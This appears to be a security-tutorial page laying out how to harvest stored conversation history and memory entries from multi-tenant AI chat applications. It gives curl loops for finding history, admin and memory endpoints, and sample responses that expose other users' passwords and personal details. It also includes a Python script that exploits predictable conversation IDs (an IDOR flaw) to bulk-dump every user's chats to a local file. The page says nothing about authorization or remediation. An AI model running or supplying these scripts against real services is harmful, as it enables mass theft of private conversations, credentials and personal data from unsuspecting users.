Skip to content
HackIndex logo

HackIndex

Harvesting Conversation History and User Data

4 min read Mar 26, 2026

AI applications persist conversation history for context continuity, user personalization, and audit purposes. That stored history contains sensitive user inputs — credentials typed into the chat, personal information shared with the assistant, internal documents discussed, and business logic revealed through user queries. With access to the storage layer or an admin API, conversation history across all users becomes a high-value exfiltration target.

Data isolation failures in multi-tenant deployments are the most common path. A missing tenant_id filter on a history query endpoint, a shared session store with predictable keys, or an admin endpoint accessible to regular users can expose every user's conversation history to any authenticated session.

Enumerate History Storage Endpoints

Probe the API for conversation history endpoints. These are commonly found under paths like /conversations, /history, /sessions, or /threads:

┌──(kali㉿kali)-[~]
└─$ for path in /api/conversations /api/history /api/sessions /api/threads /api/chat/history /api/messages /v1/conversations; do echo -n "$path: "; curl -sk -o /dev/null -w '%{http_code}' -H 'Authorization: Bearer $TOKEN' https://$TARGET_IP$path; echo; done
/api/conversations: 200
/api/history: 404
/api/sessions: 403
/api/threads: 200
/api/chat/history: 404
/api/messages: 401
/v1/conversations: 200
┌──(kali㉿kali)-[~]
└─$ curl -sk https://$TARGET_IP/api/conversations -H 'Authorization: Bearer $TOKEN' | python3 -m json.tool
{
  "conversations": [
    {"id": "conv_001", "user_id": "user_abc", "created_at": "2025-03-01T10:23:00Z", "preview": "How do I reset my VPN..."},
    {"id": "conv_002", "user_id": "user_abc", "created_at": "2025-03-02T14:11:00Z", "preview": "The database password is..."}
  ]
}

Access Other Users' Conversations via IDOR

If conversation IDs are sequential or predictable, enumerate them to access conversations belonging to other users. Test whether the server validates that the requesting user owns the conversation:

┌──(kali㉿kali)-[~]
└─$ for id in $(seq 1 50); do echo -n "conv_$(printf '%03d' $id): "; curl -sk -o /dev/null -w '%{http_code}' -H 'Authorization: Bearer $TOKEN' https://$TARGET_IP/api/conversations/conv_$(printf '%03d' $id); echo; done
conv_001: 200
conv_002: 200
conv_003: 200
conv_004: 200
┌──(kali㉿kali)-[~]
└─$ curl -sk https://$TARGET_IP/api/conversations/conv_003 -H 'Authorization: Bearer $TOKEN' | python3 -m json.tool
{
  "id": "conv_003",
  "user_id": "user_xyz",
  "messages": [
    {"role": "user", "content": "My SSH key passphrase is hunter2, can you help me..."},
    {"role": "assistant", "content": "I can help you with that..."}
  ]
}

Receiving a conversation belonging to a different user_id confirms the IDOR. Script bulk extraction across the ID range before the window closes:

import requests, json

TARGET_IP = '$TARGET_IP'
TOKEN = '$TOKEN'
results = []

for i in range(1, 500):
    conv_id = f'conv_{i:03d}'
    r = requests.get(
        f'https://{TARGET_IP}/api/conversations/{conv_id}',
        headers={'Authorization': f'Bearer {TOKEN}'}
    )
    if r.status_code == 200:
        results.append(r.json())
        print(f'[+] {conv_id}: {len(r.json().get("messages", []))} messages')

with open('/tmp/conversation_dump.json', 'w') as f:
    json.dump(results, f, indent=2)
print(f'\nDumped {len(results)} conversations')

Query Admin History Endpoints

Admin history endpoints often exist for moderation and audit purposes. Test whether they are accessible with a standard user token or with no authentication at all:

┌──(kali㉿kali)-[~]
└─$ for path in /api/admin/conversations /api/admin/messages /api/admin/sessions /api/internal/conversations /api/v1/admin/threads; do echo -n "$path: "; curl -sk -o /dev/null -w '%{http_code}' -H 'Authorization: Bearer $TOKEN' https://$TARGET_IP$path; echo; done
┌──(kali㉿kali)-[~]
└─$ curl -sk 'https://$TARGET_IP/api/admin/conversations?limit=100&offset=0' -H 'Authorization: Bearer $TOKEN' | python3 -m json.tool

Extract Memory Store Entries

AI applications with persistent memory store user facts and preferences extracted from past conversations. Memory stores are separate from conversation history and often less protected. Query the memory endpoint if present:

┌──(kali㉿kali)-[~]
└─$ for path in /api/memory /api/memories /api/user/memory /api/context /api/user/facts; do echo -n "$path: "; curl -sk -o /dev/null -w '%{http_code}' -H 'Authorization: Bearer $TOKEN' https://$TARGET_IP$path; echo; done
┌──(kali㉿kali)-[~]
└─$ curl -sk https://$TARGET_IP/api/memories -H 'Authorization: Bearer $TOKEN' | python3 -m json.tool
{
  "memories": [
    {"id": "mem_001", "user_id": "user_abc", "content": "User's name is Sarah. Works in finance. Mentioned salary of $95,000."},
    {"id": "mem_002", "user_id": "user_abc", "content": "User uses password pattern: CompanyName + year + !"}
  ]
}

References